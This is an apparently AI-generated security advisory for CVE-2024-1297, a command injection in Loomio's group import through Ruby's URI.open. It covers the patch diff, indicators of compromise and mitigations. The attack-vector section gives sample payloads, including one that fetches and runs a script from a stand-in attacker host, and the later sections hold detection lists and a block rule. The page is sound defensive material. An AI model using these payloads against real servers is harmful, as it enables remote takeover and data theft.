CVE-2024-1297 Overview
CVE-2024-1297 is an OS Command Injection vulnerability in Loomio version 2.22.0, an open-source collaborative decision-making platform. The flaw allows an attacker to execute arbitrary operating system commands on the host running the application. The root cause is the unsafe use of Ruby's URI.open method in the group import service, which interprets filenames prefixed with the pipe character (|) as shell commands. Successful exploitation results in full command execution in the context of the Loomio process, enabling data theft, lateral movement, and persistence.
Critical Impact
Network-reachable attackers with administrative import access can execute arbitrary OS commands on the Loomio server, leading to complete compromise of confidentiality, integrity, and availability.
Affected Products
- Loomio 2.22.0
- Component: loomio:loomio
- Vulnerable file: app/services/group_export_service.rb
Discovery Timeline
- 2024-02-20 - CVE-2024-1297 published to the National Vulnerability Database (NVD)
- 2026-06-17 - Last updated in NVD database
Technical Details for CVE-2024-1297
Vulnerability Analysis
The vulnerability is classified as [CWE-78] Improper Neutralization of Special Elements used in an OS Command. Loomio's group import functionality accepts a filename parameter and passes it directly to Ruby's URI.open. In Ruby, URI.open (formerly Kernel#open) treats any argument beginning with a pipe character as a command to spawn via the shell. An attacker who controls the filename argument can therefore execute arbitrary commands on the server.
The code path runs server-side during a group data import. Because the import accepts attacker-influenced input and routes it through URI.open without validating that the value is a legitimate URL or local path, the call collapses into command execution. The EPSS percentile of 84.3 indicates elevated likelihood of exploitation compared to most CVEs.
Root Cause
The original code in group_export_service.rb used URI.open(filename, 'r') to read the import file. Ruby's URI.open (and the legacy Kernel#open) is well-documented as unsafe when given untrusted input because strings beginning with | are interpreted as shell commands. The function did not differentiate between a local file path and a URL, and it did not sanitize the leading character of the input.
Attack Vector
An attacker with access to the import functionality supplies a crafted filename such as |id or |curl attacker.tld/x.sh|sh. When the service calls URI.open on that value, Ruby spawns a subshell and executes the attacker-supplied command with the privileges of the Loomio application user.
file.puts({table: table, record: record.as_json(JSON_PARAMS[table])}.to_json)
end
- def self.import(filename, reset_keys: false)
+ def self.import(filename_or_url, reset_keys: false)
group_ids = []
migrate_ids = {}
- datas = URI.open(filename, 'r').map { |line| JSON.parse(line) }
+
+ if URI.parse(filename_or_url).class == URI::Generic
+ datas = File.open(filename_or_url).read.split("\n").map { |line| JSON.parse(line) }
+ else
+ datas = URI.parse(filename_or_url).read.split("\n").map { |line| JSON.parse(line) }
+ end
+
tables = datas.map{ |data| data['table'] }.uniq
ActiveRecord::Base.transaction do
Source: Loomio GitHub patch commit 6bc5429. The fix replaces the unsafe URI.open(filename, 'r') call with URI.parse followed by either File.open for local paths or a parsed URI read for remote URLs, removing the code path that interprets pipe-prefixed strings as shell commands.
Detection Methods for CVE-2024-1297
Indicators of Compromise
- Loomio application logs containing import requests with filename values starting with | or containing shell metacharacters such as ;, &, backticks, or $().
- Unexpected child processes spawned by the Loomio Ruby/Rails worker (for example sh, bash, curl, wget, nc, python).
- Outbound network connections from the Loomio server to unfamiliar hosts immediately following an import action.
- New or modified files in the Loomio application directory or /tmp that were not produced by normal import workflows.
Detection Strategies
- Monitor process trees for the Loomio Rails process spawning shell interpreters or networking utilities, which is anomalous for normal application behavior.
- Inspect web access logs for POST requests to group import endpoints carrying filename parameters that begin with | or contain encoded shell metacharacters.
- Hunt for newly created cron jobs, SSH keys, or web shells under the Loomio service account.
Monitoring Recommendations
- Enable verbose audit logging on the Loomio host and forward events to a centralized log platform for correlation with web request logs.
- Alert on egress connections initiated by the Ruby process to non-allowlisted destinations.
- Track admin actions that invoke the import service and flag invocations originating from unexpected accounts or IP ranges.
How to Mitigate CVE-2024-1297
Immediate Actions Required
- Upgrade Loomio to a version that includes commit 6bc5429bfb5a9c7c811a4487d97ea54a8b23a0fa or later, which removes the unsafe URI.open call.
- Restrict network access to administrative and import endpoints so that only trusted operators can reach them.
- Rotate credentials, API tokens, and signing keys stored on the Loomio host if exploitation is suspected.
- Review process execution and outbound traffic history on the Loomio server for indicators of prior abuse.
Patch Information
The upstream fix is published in the Loomio repository: Loomio security commit 6bc5429. Additional context is available in the Fluid Attacks Security Advisory and the Loomio GitHub repository. The patch replaces URI.open with URI.parse plus File.open so that pipe-prefixed strings are no longer interpreted as commands.
Workarounds
- If immediate patching is not possible, disable the group import functionality at the application or reverse-proxy layer.
- Block requests to the import endpoint whose parameters contain |, ;, &, backticks, or $( via a web application firewall rule.
- Run the Loomio process as a low-privileged user inside a hardened container with read-only filesystem and restricted egress to limit blast radius.
# Example nginx rule to block pipe-prefixed filenames on the import endpoint
location /admin/groups/import {
if ($arg_filename ~* "^[|;&`$]") {
return 403;
}
proxy_pass http://loomio_upstream;
}
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

